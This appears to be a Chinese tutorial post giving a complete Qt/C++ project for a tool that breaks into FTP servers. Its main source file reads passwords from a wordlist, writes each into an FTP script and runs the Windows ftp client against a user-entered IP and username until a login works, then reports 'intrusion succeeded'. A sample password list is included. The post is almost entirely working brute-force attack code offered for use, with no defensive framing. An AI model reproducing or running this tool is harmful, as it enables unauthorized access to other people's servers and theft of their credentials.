C语言在QT下编写简单入侵ftp服务器程序
AttackServer.pro
#-------------------------------------------------
#
# Project created by QtCreator 2019-11-16T21:41:42
#
#-------------------------------------------------
QT += core gui
greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
TARGET = AttackServer
TEMPLATE = app
SOURCES += main.cpp\
mainwindow.cpp
HEADERS += mainwindow.h
FORMS += mainwindow.ui
mainwindow.h
#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
namespace Ui {
class MainWindow;
}
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
explicit MainWindow(QWidget *parent = 0);
~MainWindow();
private slots:
void on_SelectFile_triggered();
void on_pushButton_clicked();
private:
Ui::MainWindow *ui;
};
#endif // MAINWINDOW_H
main.cpp
#include "mainwindow.h"
#include <QApplication>
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
MainWindow w;
w.show();
return a.exec();
}
mainwindow.cpp
#include "mainwindow.h"
#include "ui_mainwindow.h"
#include <QFileDialog>
#include <QTextCodec>
#include <string.h>
#include <QString>
#include <QDebug>
FILE *fp = NULL;
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::MainWindow)
{
ui->setupUi(this);
}
MainWindow::~MainWindow()
{
fclose(fp);
delete ui;
}
//打开密码文件
void MainWindow::on_SelectFile_triggered()
{
QString fileName = QFileDialog::getOpenFileName();
QTextCodec *codec = QTextCodec::codecForName("GBK");
char *file = codec->fromUnicode(fileName).data();
fp = fopen(file, "r");
if(!fp)
{
ui->labelShow->setText("打开密码文件失败!");
return;
}
else
{
ui->labelShow->setText("打开密码文件成功!");
}
}
//开始入侵
void MainWindow::on_pushButton_clicked()
{
if(!fp)
{
ui->labelShow->setText("请选择密码文件!");
return;
}
QString ip = ui->textEditIP->toPlainText().trimmed();
QString username = ui->textEditUsername->toPlainText().trimmed();
if(ip.isEmpty())
{
ui->labelShow->setText("请输入要入侵的ip地址!");
return;
}
if(username.isEmpty())
{
ui->labelShow->setText("请输入要入侵的用户名!");
return;
}
/*open 192.168.228.129
user
weiyujian
111111
bye
*/
char pass[30];
char buf[1024];
char content[1024];
while(1)
{
memset(pass, 0, 30);
fgets(pass, 30, fp);
memset(buf, 0, 1024);
sprintf(buf, "open %s\nuser\n%s\n%sbye",
ip.toStdString().data(),
username.toStdString().data(),
pass);
FILE *fp1 = fopen("D:\\key.txt", "w");
if(!fp1)
{
ui->labelShow->setText("生成密钥文件失败!\n");
return;
}
fputs(buf, fp1);
fclose(fp1);
FILE *fp2 = _popen("ftp -n -s:D:\\key.txt", "r");
if(!fp2)
{
ui->labelShow->setText("控制行打开失败!\n");
return;
}
int index = 0;
while(!feof(fp2))
{
memset(content, 0, 1024);
fgets(content, 1024, fp2);
if(index==4 && !strncmp(content, "bye", 3))
{
ui->labelShow->setText("入侵成功!");
ui->textEditPassword->setText(pass);
fclose(fp);
_pclose(fp2);
return;
}
index++;
}
_pclose(fp2);
}
}
mainwindow.ui
<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
<class>MainWindow</class>
<widget class="QMainWindow" name="MainWindow">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>500</width>
<height>300</height>
</rect>
</property>
<property name="windowTitle">
<string>MainWindow</string>
</property>
<widget class="QWidget" name="centralWidget">
<widget class="QLabel" name="labelShow">
<property name="geometry">
<rect>
<x>160</x>
<y>10</y>
<width>311</width>
<height>21</height>
</rect>
</property>
<property name="text">
<string/>
</property>
</widget>
<widget class="QPushButton" name="pushButton">
<property name="geometry">
<rect>
<x>180</x>
<y>200</y>
<width>141</width>
<height>31</height>
</rect>
</property>
<property name="text">
<string>开始</string>
</property>
</widget>
<widget class="QWidget" name="layoutWidget">
<property name="geometry">
<rect>
<x>75</x>
<y>50</y>
<width>71</width>
<height>131</height>
</rect>
</property>
<layout class="QVBoxLayout" name="verticalLayout">
<item>
<widget class="QLabel" name="label">
<property name="text">
<string>IP地址:</string>
</property>
</widget>
</item>
<item>
<widget class="QLabel" name="label_2">
<property name="text">
<string>用户名:</string>
</property>
</widget>
</item>
<item>
<widget class="QLabel" name="label_3">
<property name="text">
<string>密码:</string>
</property>
</widget>
</item>
</layout>
</widget>
<widget class="QWidget" name="layoutWidget">
<property name="geometry">
<rect>
<x>150</x>
<y>60</y>
<width>291</width>
<height>227</height>
</rect>
</property>
<layout class="QVBoxLayout" name="verticalLayout_2">
<item>
<widget class="QTextEdit" name="textEditIP"/>
</item>
<item>
<widget class="QTextEdit" name="textEditUsername"/>
</item>
<item>
<widget class="QTextEdit" name="textEditPassword"/>
</item>
</layout>
</widget>
</widget>
<widget class="QMenuBar" name="menuBar">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>500</width>
<height>23</height>
</rect>
</property>
<widget class="QMenu" name="menu">
<property name="title">
<string>开始</string>
</property>
<addaction name="SelectFile"/>
</widget>
<addaction name="menu"/>
</widget>
<widget class="QToolBar" name="mainToolBar">
<attribute name="toolBarArea">
<enum>TopToolBarArea</enum>
</attribute>
<attribute name="toolBarBreak">
<bool>false</bool>
</attribute>
</widget>
<widget class="QStatusBar" name="statusBar"/>
<action name="SelectFile">
<property name="text">
<string>选择密码文件...</string>
</property>
</action>
</widget>
<layoutdefault spacing="6" margin="11"/>
<resources/>
<connections/>
</ui>
pass.txt
000001
000002
000003
000004
000005
000006
000007
123456
666666
888888
zhang123
liu123